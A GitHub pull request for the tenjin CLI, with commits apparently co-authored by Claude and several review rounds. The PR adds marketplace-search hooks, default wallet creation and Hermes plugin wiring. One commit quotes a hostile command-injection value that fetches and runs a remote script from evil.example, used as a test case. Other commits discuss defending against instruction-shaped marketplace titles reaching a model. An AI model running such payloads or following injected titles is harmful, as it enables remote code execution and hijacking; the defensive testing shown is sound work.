feat(install): add native Hermes retrieval and publish-back hooks - #113
feat(install): add native Hermes retrieval and publish-back hooks#113A1igator wants to merge 40 commits into
Conversation
…ck when it is A MISS was the one moment the demand a searcher just expressed could still be met, and the only thing said about it was a nudge about candidates already parked, which is silent on exactly the machine that has never parked one. Every fresh MISS now carries the invitation: one stderr line for a human and a `publishBack` object in the `--json` envelope with the searchId and both closing commands. That object is the single CLI-owned key in what is otherwise the server's response verbatim, and it is absent on a CANDIDATES decision, so the contract-shaped path is byte-identical to what it was. The local search store gains per-search resolution so the loop can be seen to close: an outcome report, a candidate publish, or a parked candidate records who closed it, first writer wins, and the mark is best-effort bookkeeping that never throws and never fails the verb that ran. A bare file publish cannot name the search it answers, so it deliberately leaves the loop open. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…minder Two standalone Node scripts and the writer that registers them in Claude Code's settings.json. A PreToolUse hook matched to WebSearch (never WebFetch) asks the marketplace the same question the agent is about to ask the web, on a hard two-second budget, and mentions a tested answer with its price and a free `tenjin inspect` command. A Stop hook checks locally, with no network call, for a MISS from the last eight hours that nothing has closed, and raises it once. Fail-open is the contract, not an aspiration. Both emit only `hookSpecificOutput.additionalContext` and never a `permissionDecision`, so neither can block, deny, or modify a tool call; a miss, a timeout, a dead network, a malformed payload and an unreadable config all end in exit 0 with nothing on stdout and nothing on stderr, and a watchdog leaves the process even if a socket ignores the abort. Server text is stripped of control characters before it can reach a model's context, and stdout is written synchronously so exiting cannot truncate the JSON the harness is parsing. They are generated scripts rather than a `tenjin hook` subcommand because a hook on the critical path must not pay for a CLI boot, and they must not depend on a dist layout an upgrade can move. Only the data dir is baked in; `baseUrl` and the new `hooks.searchMode` config key are read on every run, so `tenjin config set hooks.searchMode off` disarms them with no re-install. The settings writer carries the same invariants as the permission writer: additive only, refuses a file it cannot understand rather than repairing it, resolves symlinks before committing, and refuses a change that landed mid-run. Ownership is by script filename, so a re-install is idempotent and a moved data dir rewrites our entry in place instead of duplicating it. Shell quoting branches on the platform, because a home directory with a space would otherwise install a hook that can never run. The nag record lives in its own hook-owned file rather than in searches.json: the hook runs outside the CLI with no access to that store's lock, and losing a nag is cheaper than erasing a search. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A run with nobody to ask used to skip the free-verb allowlist and the setup that
follows it, which meant the machine most likely to be denied mid-task was the one
that got the least. The allowlist and the search hooks are now written by default
when there is no one to ask, `--no-allow-free-verbs` and `--search-hooks off` are
the opt-outs, and every run that writes says how many rules landed, in which
file, and that removing those lines undoes it. The grant itself is untouched: a
fixed free tier that cannot spend, cannot open the keystore, and cannot widen.
Two reporting defects go with it. The headless arm short-circuited ahead of the
probe, so a re-run against an already-permissioned home reported `added: []` and
`alreadyPresent: []` whatever the file actually held; the probe now runs on every
path that might write, which is also what keeps the interactive consent gate from
re-adding a rule revoked between two reads. And every skipped permissions state
carries a `fix` naming the exact command, the same contract a CliError carries.
The wallet stays interactive-only, because a machine run has never created a key.
What changes is that the skipped decision is visible: the envelope now reports
`wallet: { status: "not-offered", reason: ... }` rather than omitting the field,
and answering no is recorded as `declined` so a choice cannot be confused with a
question that was never put.
Search hooks become the third decision, so the walkthrough is four questions
rather than three. The mode is persisted, so `tenjin config set hooks.searchMode`
is enough to change it later.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…ry flag
The tenjin-search entry gate was four numbered conditions an agent had to walk
before deciding whether to look anything up, which is a deliberation the decision
does not deserve. It is now one line ("public + durable + costly to reproduce,
then search first; otherwise just do the task"), with the four conditions kept
below as fine print for a close call.
Adds a short delegation block (tenjin-agent#109): which verbs a read-only
subagent may run, and which stay in a mutation-capable, human-gated context.
`outcome` is the one free verb held back, because it reports on the parent's
search and a subagent running it moves the marketplace signal on a decision it
did not make. `tenjin doctor` mirrors the rule in one line, beside the allowlist
an operator is reading when they decide what to hand a subagent.
The README documents every user-facing flag as a per-command table, which
surfaces `--artifact-type`, `--temporal-mode` and `--content-hash` for the first
time, and adds a config-key table and a search-hook reference. The prose those
tables replace is cut rather than kept beside them.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The hook POSTed to the search endpoint on its own, so everything it learned died with the process: a MISS it found never entered local state, the Stop hook could not see it, and publish-back worked only for explicit `tenjin search` runs. The hook was answering the question the loop was built to notice and then throwing the answer away. It now writes every search it performs into the same store `tenjin search` uses, tagged `source: 'websearch-hook'` against `'cli'` for deliberate searches, hits included so a later purchase attributes back and `buy <resourceId>` can resolve the payable read URL. ONE store, not parallel state: the script cannot import the CLI's lock, so it honors the identical protocol (an atomic-mkdir directory, no stale-stealing) and a test runs the real script concurrently against the real recorder to prove neither write is lost. It gives up on a contended lock in 400ms and stays silent, because recording is bookkeeping and the WebSearch is the user's actual work. The Stop hook now treats the two sources differently, since they are not equally worth an agent's attention. A deliberate search nobody answered is named on its own line with its searchId. Searches the hook rode along with are batched into one line, at most three: nobody vetted those questions for the marketplace, and only the agent can tell which produced a durable public finding. The hook never makes that judgment; it has no way to. Adds `hooks.stopNag on|off` beside `hooks.searchMode`, both read from config on every run, so either hook is silenced by one `config set` with no re-install and nothing to unwire. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
`buy` and publishing back after a MISS both need a key, so an install that leaves the machine walletless is a setup that stops at the first useful thing an agent tries. A wallet is now created on both paths; an interactive run still asks and still defaults to yes, and `--no-wallet` is the opt-out. The headless path uses the passphrase policy the CLI already enforces: an explicit TENJIN_WALLET_PASSPHRASE, else a strong generated passphrase written to the platform's OS credential store and verified by reading it back. With neither available it creates NOTHING and reports skipped/no-passphrase-store with both remedies named. There is deliberately no plain-file fallback, because a passphrase stored beside the keystore it unlocks protects nothing and an install is not the place to invent one. A wallet that cannot be created never fails the install: the skills, hooks and permissions this run wired are useful without one. A created wallet is disclosed rather than merely reported: the address, that it holds $0, that funding is a human step no part of this CLI can perform, and that the key is encrypted at rest and never leaves the machine. `not-offered` is gone, replaced by `skipped` with a reason and a fix; `declined` still means somebody said no. Adds `--no-hooks`, which registers nothing for one run and writes no config. That is deliberately not `--search-hooks off`, which is a durable statement and persists `hooks.searchMode`. The install test fixture now injects the passphrase seam on EVERY path. Without it a headless install in the suite would create a real wallet, and on macOS that writes into the developer's own login keychain under the `tenjin-cli` service. Creation itself is stubbed by default so the ~140 tests that are not about the wallet do not each pay for a scrypt derivation; the wallet tests opt into the real creator against a fake keychain. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Documents that everything is on by default on both paths with a per-item opt-out, the two runtime hook toggles and that they need no re-install, the wallet passphrase policy including the deliberate absence of a plain-file fallback, and the `--no-hooks` / `--search-hooks off` distinction. Adds `hooks.stopNag` to the config table. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
… side The WebSearch hook script reimplements src/lib/lock.ts because it runs standalone and cannot import it, yet writes the CLI's searches.json. Two writers of one file that disagree about the mutex have no mutex, and nothing pointed the next person changing one copy at the other. Both sites now carry a MUST-UPDATE-TOGETHER comment naming the other, and this is the test those comments promise. Five cases, each aimed at a specific drift rather than at a race going the wrong way: a lock held at the path the CLI computes stops the script dead, the same run records once it is released, a successful run leaves no lock behind, a lock the script did not take is never stolen however stale it looks, and five concurrent CLI writers plus the script lose no entry between them. Verified by mutation rather than by assertion alone. Pointing the script at a different lock path fails four of the five; making it steal a stale lock fails three; making it leak the lock fails two, one of them by timing the CLI out. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
![greptile-apps[bot]](https://avatars.githubusercontent.com/in/867647?s=60&v=4){kind=small}
There was a problem hiding this comment.
A1igator has reached the 50-credit limit for trial accounts. To continue receiving code reviews, upgrade your plan.
…rocess.env
"uses TENJIN_WALLET_PASSPHRASE when it is set" flaked in a full run and passed in
isolation. The cause was the test steering the passphrase source with
`vi.stubEnv`, because there was no other way to: `createWalletLocked` read
`process.env` directly and `PassphraseOverrides` deliberately omits `env`. Vitest
does not restore env stubs between files, so a stub of that variable is a
process-wide edit shared with every other file in the same worker.
`wallet create` now takes `env` as an option, defaulting to process.env, and
`install` threads its existing `deps.env` into it. The test steers the passphrase
through that seam and mutates nothing global; no install test touches process.env
any more.
The shared install fixture also pins `env: {}`, which is load-bearing in the other
direction: an ambient TENJIN_WALLET_PASSPHRASE, from a developer's shell or leaked
by another file, would reroute the passphrase away from the OS store these tests
assert on and make the keychain assertions vacuous. Removing that line and running
the file with such a variable set fails three tests, which is how it was verified.
Adds the mirror case, that with no passphrase in the environment the store is the
source, so both branches of the policy are pinned rather than one.
Full suite run three times consecutively: 1708 passed, 10 skipped, each time.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Codex already got this line in its AGENTS.md on every install, so leaving Claude
Code's copy behind `--claude-md` left the harness most people run as the one that
never learned to search first. It is now written by default on both paths, with
`--no-claude-md` as the opt-out and `--claude-md` kept as a redundant affirmative.
Still not a question: it is one idempotent marker line, a smaller consequence
than the four decisions, and its existing disclosure and undo already ride the
walkthrough (verified by a test that a bare run prints both).
The line's text also caught up with the skill it mirrors. It used to name example
categories ("version-specific compatibility, integration gotchas, benchmarks,
dated probes"), which reads as a checklist to work through at exactly the moment
an agent should be deciding in a second. It now carries the single heuristic the
tenjin-search entry gate collapsed to. The two must stay in sync: this line is
what a harness reads when the skill is not in play.
Because the marker upsert rewrites a drifted line in place, an existing install
picks up the new wording on its next run rather than accumulating a second line.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
vraspar
left a comment
vraspar
left a comment
There was a problem hiding this comment.
Review: three majors before merge — YAML corruption on non-2-space configs, wallet auto-create fires on a weak signal without consent, and an unguarded create aborts install unrecoverably
Reviewed at 884a58d (delta over #112). The three majors were verified by hand against the checked-out head, not taken from a reviewer on faith.
What's solid:
MCP_ENTRYis a fixed constant with zero interpolation, so no path or env value can inject YAML.- Both Hermes writes go through
writeFileAtomicwith0o600/0o700and same-directory temp+rename. - The policy numbers match the PR body exactly (
maxAutoSpend 250000,sessionBudget 5000000,confirm above:250000,publish.mode auto), and confirmation/budget enforcement stays in the CLI's own spend path (evaluateSpendPolicy), not in a skippable layer. - Wiring is idempotent in the shapes it handles: second runs return
up-to-datewith no duplicate YAML child or env line, and a differing user-owned 2-spacetenjin:entry conflicts byte-identically.
Major
-
[security/integrity] Guard the
mcp_serverschild indentation before splicing; a non-2-space block gets corrupted into unparseable YAML:planHermesMcplocates the root and unconditionally splices the fixed 2-spaceMCP_ENTRY, never inspecting the indentation the existing children use (src/lib/hermes.ts#L149-L153). Confirmed against js-yaml from this worktree: 4-space children producebad indentation of a mapping entry; a user-ownedtenjin:entry at 4-space indent slips past the/^ {2}tenjin:/probe (#L138) so the conflict path is bypassed and a duplicate key is written; sequence-style and tab-indented blocks also break. This directly contradicts the module docstring's promise that ambiguous YAML is reported as a conflict, and the corrupted file takes the user's whole Hermes config down. Fix: before splicing, check the first non-blank, non-comment child line matches/^ {2}\S/and returnconflict(...)otherwise; add hermes.test.ts cases for 4-space children, a 4-spacetenjin:, and a sequence block assertingconflictplus a byte-identical file. -
[security] Gate wallet auto-create on a stronger Hermes signal and on consent: the trigger is
harnessDetectedBy(...), which fires onexistsSync(hermesHome)ORwhich('hermes')(src/lib/skill-wiring.ts#L101-L111), andhermesis also the React Native JS-engine binary name. A Claude-only machine with that binary on PATH gets~/.hermes/{skills,config.yaml,.env}, apolicyProfiles.hermesautonomy block, and a freshly minted encrypted key it never asked for. The call passesautoCreate = true, which skipsWALLET_QUESTIONentirely — even at a TTY — removing decision 3 of the documented walkthrough (src/commands/install.ts#L418-L421); it also breaks the stated invariant that a machine/JSON run never creates a key. Fix: require a Hermes-shaped home (hermesConfigPathexists) or an explicit--harness hermesbefore auto-creating, and keep the confirm whenevercanPromptis true; test both. -
[integrity] Isolate the wallet step; a passphrase failure aborts the whole install and every re-run fails identically: the auto-create call is unguarded, and on a headless host with no
TENJIN_WALLET_PASSPHRASE, no credential store, and no TTY,resolvePassphraseForCreatethrowsnoPassphraseError()(src/lib/wallet/passphrase.ts#L283) — exactly the always-on server this feature targets. Skills, config.yaml, .env, and the policy profile are already written by then, the embedded doctor run and summary never happen, and the error text does not mention--no-wallet. Fix: wrap the create in try/catch, record{status:'none', reason}plus a warning naming bothTENJIN_WALLET_PASSPHRASEand--no-wallet, let install complete; add a test with a rejectingcreateWalletasserting success plus the warning.
Minor
-
[integrity] A relative
HERMES_HOMEthrows on a baretenjin installbefore detection even runs:resolveHermesHomeis called unconditionally unless an explicit--harnesslist excludes hermes, so a Claude-only machine with a stray relativeHERMES_HOMEcannot install at all. Fall back (with a warning) instead of throwing on the no-flag path. src/commands/install.ts#L361 -
[security/ops] Prefer an absolute path for the MCP
commandand probe PATH in doctor's Hermes check:command: "tenjin"resolves against whatever PATH Hermes has at launch — systemd/launchd starts often lack the npm global bin (server silently fails to start), and whoever can prepend to that PATH substitutes the binary that signs payments. src/lib/hermes.ts#L199 -
[copy-vs-behavior] Drop the "your harness still shows each command for approval" clause from the Hermes publish summary: this install wires Tenjin as an MCP server, so publish arrives as a tool call, not a shell command — the clause that makes
autosound safe is false for exactly this target. src/commands/install.ts#L657
Nits (2), none blocking
src/lib/hermes.ts:7—HERMES_MCP_SERVER_NAMEis exported and unused.src/commands/install.ts:1096—dirname(plan.skillsDir)re-derives whatHarnessPlancould carry ashermesHome; eightdirnamecalls where one field would do.
Verified, not issues
- No YAML content injection: the written entry is a constant;
HERMES_HOMEnever reaches the file body. TENJIN_HARNESSis written only into$HERMES_HOME/.envand the MCP entry'senv:map — it does not leak into Claude/Codex processes.- Auto-publish keeps its hard gate:
scan.tsblockfindings refuse publish in every mode and are not--yes-clearable; untouched by this PR. - Multi-harness installs keep working: claude/codex/hermes plans are pushed independently and deduped by skills dir.
- Existing wallets are never replaced;
--no-walletis honored on the paths that reachresolveWallet.
Decision (owner): this PR makes presence-detection (a directory or a binary) enable autonomous spend and auto-publish by seeding policyProfiles.hermes plus a wallet, with no recorded consent and no revocation gesture (tenjin config --profile hermes --disable or similar). Majors 2 and 3 shrink the blast radius, but whether detection alone may ever activate autonomy — versus requiring an explicit --harness hermes once — is a product call that should be made deliberately, together with #112's TENJIN_HARNESS caveat-surface note.
Verdict: comments-only; not ready until the three majors land. Ran: hand-verification of all three majors against the head checkout (YAML splice paths, detection trigger, unguarded throw path); reviewer ran focused hermes/install/doctor test files at head, passing.
Brings in #106 (outcome echoes the targeted search and refuses an impossible status) and #107 (de-spam doctor, verify the wallet, reorder install output). Every conflict resolved to keep BOTH sides: - search-store.ts: purely additive. main's `paidBrowseCount` sits beside our `source` and `resolved`, so the coherence gate and the open-loop tracking both have their fields. - outcome.ts: main's `resolveTarget` / `assertOutcomeCoherent` / question echo, plus our `markSearchResolved`. The mark stays AFTER the post, so a report the new gate refuses leaves the loop open for the Stop hook to raise. - install.ts: main's #101 ordering wins, and our decisions join it. All FOUR decisions run first, then doctor collects over the machine they produced, which matters more with our defaults than it did without them: a headless run now creates a wallet, and a doctor snapshot taken earlier would report "No wallet" for a wallet that exists. #80's no-wallet suppression is re-expressed over our richer status set (`declined` and `skipped` both mean the summary already said it; `created` and `existing` never suppress). - permissions.ts: main deleted `renderPermissionsBlock` in favour of a single pointer line, so our delegation guidance moved with the rest of the prose to docs/agent-permissions.md and doctor keeps exactly ONE closing line (#81), which now names delegation alongside the allowlist. - cli.ts: main's absolute permissions URL and wallet-verification wording, with our "the default" framing for `--allow-free-verbs`. - outcome.test.ts: main's suite taken whole, our resolution tests re-added on its fixtures, plus the combinations neither side had. - README.md: our per-command tables kept, main's `### doctor` section and its install-ordering wording folded in. Also aligns our delegation prose with #107's corrected tier claim: the free tier cannot spend and cannot MOVE YOUR KEYS, rather than cannot open the keystore, since `doctor` now decrypts locally to verify the wallet opens. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
A1igator has reached the 50-credit limit for trial accounts. To continue receiving code reviews, upgrade your plan.
A1igator
changed the title
|
Addressed all review feedback in
Validation: typecheck, lint, repository-wide Prettier, production build, focused suite (407 passed), and full suite (1,718 passed / 10 skipped), including eval-harness localhost tests. |
--allow-free-verbs and --claude-md are now the default; they stay parseable because released doctor output and docs name them, but they earn no help line. The tier claim and permissions URL move to the visible --no-allow-free-verbs. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…hook prompt as a decline Operator changes 1 and 3 on #115. A non-interactive install left `publish.mode` unset (effective `review`) while the interactive select recommends `auto`, so the one decision governing what the agent puts on a public marketplace was the only one where headless and an interactive all-yes disagreed. Headless now settles and persists the recommended mode. An already-configured mode is respected, `--publish-mode` still wins, and a dry run settles nothing. A test pins the headless answer equal to the select's first choice, so the two cannot drift apart and quietly falsify the parity claim. Cancelling the search-hooks prompt used to resolve to `auto`, register both hooks and persist the mode: the only Escape in the walkthrough that wrote anything. It now behaves like `--no-hooks` for that run, registering nothing and writing no config, and an answer the schema does not recognize is treated the same way. The comment that claimed this all along, and the question copy, now say what happens. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…the settings guard Operator changes 2, 7, 8 and 9 on #115. The hint rendered a publisher-authored title inline as an authoritative sentence, so an instruction-shaped title arrived in a trusted context reading like an instruction. `clean()` strips control bytes and cannot make prose inert, so the framing does that instead: the title is quoted, the line reads as a listing ("Tenjin lists a paid answer titled ..."), and a trailing note attributes quoted titles as marketplace-authored text. Pinned with a rendering test whose title is literally an override attempt. Script writes move BEHIND the settings compare-and-swap. They used to run before it, so a `changed-since-read` refusal had already replaced the bodies that existing entries were running while reporting that nothing was registered. They still land before the entry that points at them, so no harness ever reads an entry naming a file that is not on disk. Verified by mutation: restoring the old order fails the new test. Also caps the stored `resourceId` and `price` the way `title` was already capped, so a hostile base URL cannot bloat searches.json an entry at a time, and corrects two claims the review caught: the hard bound on either hook is the harness's own `timeout: 5` kill rather than the event-loop watchdog, and the Stop hook raises a loop once per turn-end rather than once ever, since two sessions ending together can duplicate a line. No lock: the cost is one duplicate line and a cross-process wait at every turn end would buy nothing else. HOOK_SCRIPT_VERSION 2 -> 3. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Operator changes 4 and 5 on #115. `outcome` is in the free-verb allowlist, so carving it out of the subagent-safe set in the delegation block was an inconsistency with no rationale behind it. The skill and the permissions page now list all nine, with the caveat widened to say that `search` and `outcome` both POST off-machine. The doctor pointer's own comment no longer describes a split that does not exist. The README states the flag rule in one line above the install table: `--no-*` are this-run opt-outs that write no config, `--publish-mode` and `--search-hooks` are provisioning flags that persist. That is why `--no-hooks` and `--search-hooks off` differ, which previously needed a footnote. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
Direction update from the harness-integration architecture decision. This PR will not merge as-is, but much of it is wanted. Plan: Keep (salvage): the Hermes detection ( Drop:
Add (the piece this PR never had): the retrieval-reflex hooks. Register #115's hook scripts in Out of scope here: wallet-provider coupling of any kind. Buying stays with the Tenjin wallet under spend policy (a one-shot Rework this PR in place or close it and open the reworked one — author's choice. Rough size: 3-5 days including a short Hermes hook-format spike (their docs, not assumptions). ECC was evaluated and rejected as a generator for this: see #121. |
…quoted frame Display path only: the stored projection keeps the title verbatim. Script version to 4 so re-runs refresh installed copies. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
I’ve started the requested rework and agree with the keep/drop boundaries: retain Hermes detection, skills, additive MCP YAML wiring, atomic/idempotent/dry-run behavior, and doctor coverage; remove the #112 policy-profile dependency, The hook-format spike found an upstream blocker in the proposed shell-hook shape:
I’m not going to ship a configuration that looks wired but silently does nothing. The viable current implementation is a native Python plugin under I’m also holding the shared-core port until #115 resolves the two newly-open trust/write findings, so this PR does not copy a permissive response parser or stale-snapshot settings writer. Please confirm native plugin versus upstream wait. Once settled, I’ll rebuild this branch on #115 (not #112), retain the accepted Hermes integration, and update the title/body around the actual boundary. |
A1igator
changed the title
…r rendering it Round-3 major 1 on #115. The generated hook talks to whatever origin `baseUrl` names, so its response is untrusted input, and the fields it carries are ACTIONABLE: a resourceId is interpolated into a command the agent is invited to run, and a url is a payable pointer a later `buy` resolves. It accepted any object, coerced every non-CANDIDATES decision to MISS, and control-cleaned then TRUNCATED ids and urls, which does not shorten them so much as invent different ones that still look legitimate. A hostile origin returning `x; curl https://evil.example/x|sh #` landed it outside the quoted-title frame. The script now enforces the same invariants as src/lib/agent-api.ts, and drops rather than repairs: uuid searchId (else the whole record goes), exact CANDIDATES/MISS decision (else silent), uuid resourceId, a url that parses AND shares the request origin, an atomic price or '0'. Candidates are capped at SEARCH_LIMIT before anything is examined, so a ten-thousand-candidate response costs what a two-candidate one does. The display loop now reads the validated projection rather than the raw response, so an id that failed validation cannot reach the hint even if the two loops drift. Found while testing: `\d` inside the TypeScript template literal that generates the script is an unrecognized escape and collapses to a bare `d`, so the emitted regex was /^d{1,39}$/ and every price read as non-atomic. Fixed, and the other two regexes in the generated bodies audited for the same class. Adversarial coverage: command-shaped resourceId reaches neither hint nor store, oversized and malformed searchIds drop the record, a 10k-candidate response stores at most SEARCH_LIMIT, off-origin and unparseable urls are dropped, every malformed decision is silent, a non-atomic price stores '0'. HOOK_SCRIPT_VERSION 4 -> 5. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…fore the writes Round-3 major 2 on #115. The guard compared settings.json, then awaited two script read/write/rename sequences, then replaced the whole file from the snapshot taken before them. A Claude Code or installer write landing during `writeScripts` passed the comparison and was erased at the final rename. There are now two compares and both earn their place. The early one refuses before a byte is written, so the ordinary contended case costs nothing and leaves nothing half-done. The second sits immediately before the atomic rename and closes the window the first cannot see. On a mismatch the refusal reports the scripts that WERE refreshed, so the result describes what happened instead of claiming nothing was touched; the bodies are versioned and idempotent, so a refreshed script with no new entry is inert and the re-run the fix names simply registers it. The test interleaves a concurrent settings write during `writeScripts` and proves the other writer's bytes survive verbatim. Verified by mutation: removing the second compare fails it. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
Merged current
|
Composes the two extensions of the hook-scripts test harness rather than taking a side: runScript now carries both the `--hermes` selector argv this branch added and the caller User-Agent env #126 added, in that positional order, with the one env call site moved to the fourth slot. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
|
Conflict against What conflicted. Only Evidence that both halves are live rather than one side silently dropped, each shown by breaking it:
One thing worth your eye while you are in that file: Gates at |
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
|
Re-merged That file needed no decision from me. It merged without a conflict, and Five files conflicted, all composed rather than sided:
Three things the merge broke that git did not mark:
Evidence that both sides survive, rather than a clean run: one test, Gates on One latent item, deliberately not touched here: |
|
One thing the merge surfaced that I am not deciding here, because the fix is a change to this branch's Hermes payload contract rather than a conflict resolution. #164 added two reads of the Stop hook's input payload:
Nothing here is broken by the merge and nothing crashes: these are #164's own fallbacks doing what they say. The question is whether the Hermes plugin should forward |
…ntegration # Conflicts: # src/lib/hook-scripts.ts
|
Merged origin/main forward (ea02721); one conflict in src/lib/hook-scripts.ts (main's askTenjin/hintLines/recordSearch extraction vs this PR's IS_HERMES tool detection) resolved by porting the Hermes-aware tool-name/toolInput logic onto the new websearchHookScript main(), leaving the extraction and the new dispatch hook untouched. Lint, typecheck, and targeted vitest (531 tests) green. skill-drift CI red is #151, unrelated. |
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
…stop writeSharedHookScripts now writes 4 shared scripts (dispatch and session-primer landed on main via #180 after this branch forked); the Hermes wiring's dry-run stub and scriptPaths test expectations still assumed 2. Dry-run now previews all 4 paths a real run writes.
|
Fixed the own-diff CI red (5275360): scriptPaths was 4, not 2, because writeSharedHookScripts now writes the whole shared bundle including main's dispatch+session-primer hooks (#180). Not a duplication bug: fixed the stale test expectations AND a real dry-run gap (it was hardcoded to preview only 2 of the 4 files a real run writes). pnpm run check (build+full unit suite, 2234 tests) green, lint/typecheck clean. |
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
vraspar
left a comment
vraspar
left a comment
There was a problem hiding this comment.
Re-review: the merge reconciliations are clean; absorbing main's #164 session-scoping surfaced one Hermes-specific regression
Reviewed at 5275360, delta over the round-8 approve at d36181a. The intervening commits are main merges plus the fix(hermes): report the whole shared hook bundle CI fix; #115 is in main so this is the Hermes-only diff. Re-verified by running the affected suites and py_compiling + executing the generated plugin.
Resolved / clean since round 8
- The ea02721 conflict resolution (main's #164 rewrote the websearch hook main()): the IS_HERMES branch is correct — it maps Hermes' envelope (
web_searchtool name,input.args,{context}output) against Claude's (WebSearch,input.tool_input,hookSpecificOutput), and the Python probe pins tool-name matching plus tolerance of Hermes' extra kwargs (telemetry_schema_version, task_id). - The 5275360 CI fix: the dry-run
writtenlist now names all four shared scripts (websearch, dispatch, session-primer, stop), matchingwriteSharedHookScriptswriting the whole bundle in one pass after #180; the test asserts scriptPaths length 4. Not a duplication bug, and the dry-run no longer under-reports. - Consent boundary and RN-hermes misdetection: still hold.
harnessDetectedByrequires thehermesbinary to be paired with the Hermes home dir, so a standalone React Native hermes JS engine on PATH does not auto-detect (pinned at skill-wiring.test.ts:208); auto-detection installs inert files and activation is gated onexplicit && targetsHermes, so nothing self-activates (pinned by "keeps auto-detected code inert until explicitly enabled").
New
- agent-usability: the Hermes plugin discards
session_id, so main's #164 once-per-session nag rate-limit silently no-ops under Hermes:_transform_llm_output(response_text="", **_kwargs)calls_run(STOP_SCRIPT, {}, 2.0)with an empty payload (), even thoughtenjin-agent/src/lib/hermes.ts
Lines 573 to 579 in 5275360
_kwargscarriessession_id(the plugin already reads it in_keyfor the HIT map). Main's #164 added session-scoped rate-limiting to the shared stop script — one weak publish-back batch per session (batchedThisSession, hook-scripts.ts:1136-1137) — precisely to stop the weak arm reading as harness debug output every turn (tenjin-agent #162). Under HermessessionIdis always null, sobatchedThisSessionis always false,sessions[sessionId]is never stamped, and the weak-arm nag can re-fire at every turn end of a multi-turn session with a research fan-out — the exact regression the session key exists to prevent. It is fail-safe (still bounded by MAX_WEAK_LOOPS per invocation and per-searchId dedupe, and the stop script degrades gracefully to machine-global on the empty payload rather than crashing), so it is a behavioral regression on the Hermes lane only, not a correctness or security break. Same empty payload also nullscwd, so a project-scopedpublish.modenever resolves under Hermes and the reminder always shows the machine-global mode. Fix: forward{"session_id": _kwargs.get("session_id", "")}(andcwdif Hermes exposes a working directory) into the STOP_SCRIPT payload, matching the fields hook-scripts.tssessionIdOf/cwdOfread. The author flagged these two reads on 2026-08-17 as "a change to this branch's Hermes payload contract" and left it undecided; this is that decision. Not caught by any test because the Python probe stubs_run.tenjin-agent/src/lib/hook-scripts.ts
Lines 1136 to 1137 in 5275360
Closed as decisions
Everything raised across rounds 1-8 (the three original majors on YAML corruption / wallet auto-create / unguarded create; --no-hooks still installing hooks; MCP re-point eating config; the manifest field; the disabled-vs-skipped status split; every merge reconciliation through round 8) is closed and re-verified in the round-8 approve at d36181a, and none of it is re-opened here.
Verified, not issues (emphasis areas)
- Subprocess envelope:
subprocess.run([NODE, script, "--hermes"], input=json.dumps(payload), ...)— absolute NODE + script paths, bounded timeout (3s/2s), bounded output (>65536 → None), fail-open on every path (non-zero return, empty stdout, unparseable JSON, any exception → None), noshell=True, and content rides stdin as JSON never as argv/env, so a hostile transcript/tool-result/args cannot smuggle shell or arguments through the #115 Node-script boundary. The hooks only ever return augmented text or None — never a block/approval/deny directive. - HIT map: OrderedDict bounded at 128 entries and 300s, guarded by a single lock on every access, pruned on insert; a hint evicted before its transform_tool_result simply yields no augmentation (fail-open), and concurrent sessions key on tool_call_id or session:turn.
- YAML preservation: managed-marker splice re-emits from the marker (no stacked markers on re-point); 4-space children, inline
mcp_servers/pluginsvalues, and sequence blocks returnconflictand leave the file byte-identical; an inlineplugins.disabled: [tenjin, other]is honored (tests pin all of these). - Local run: affected suites green except the two
doctor.test.ts"rule the publish mode carries" cases, which are this machine's real ~/.claude leaking into the doctor sandbox (they pass with a clean HOME; identical on #151, and untouched by this PR). CI green at head.
Verdict: comments-only, one new Minor. The integration and all eight prior rounds are closed and re-verified; the merge reconciliations since the approve are clean. The one new item is that absorbing main's #164 session-scoping without forwarding session_id through the plugin's stop envelope lets the weak publish-back nag re-fire per turn on Hermes — the #162 regression, Hermes-only, fail-safe, with a one-line fix. Ran the affected suites; py_compiled and executed the generated plugin.
_transform_llm_output sent {} to STOP_SCRIPT, so main's session-scoped
weak-arm rate limit (#164, batchedThisSession) always saw a null
session and never stamped a session's batch: the nag could re-fire
every turn instead of once (the #162 regression the session key
exists to prevent). Same empty payload nulled cwd, so a project-scoped
publish.mode never resolved under Hermes.
Forwards session_id/cwd under the same field names hook-scripts.ts's
sessionIdOf/cwdOf read. Red-without-fix, verified locally.
|
Re: review 4966063022 (3df9572). New (session_id/cwd not forwarded): fixed — Resolved/clean items 1-3 and closed-as-decisions: no action, re-confirmed by this run.
|
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
vraspar
left a comment
vraspar
left a comment
There was a problem hiding this comment.
Re-review: the Hermes stop-payload forwarding is fixed and now actually tested
Reviewed at 3df9572, delta over 5275360. One commit, two files (hermes.ts + hermes.test.ts, 45 insertions / 2 deletions), nothing outside the reported scope.
Resolved since round 1
- [Minor] The Hermes plugin now forwards session_id and cwd into the STOP_SCRIPT payload.
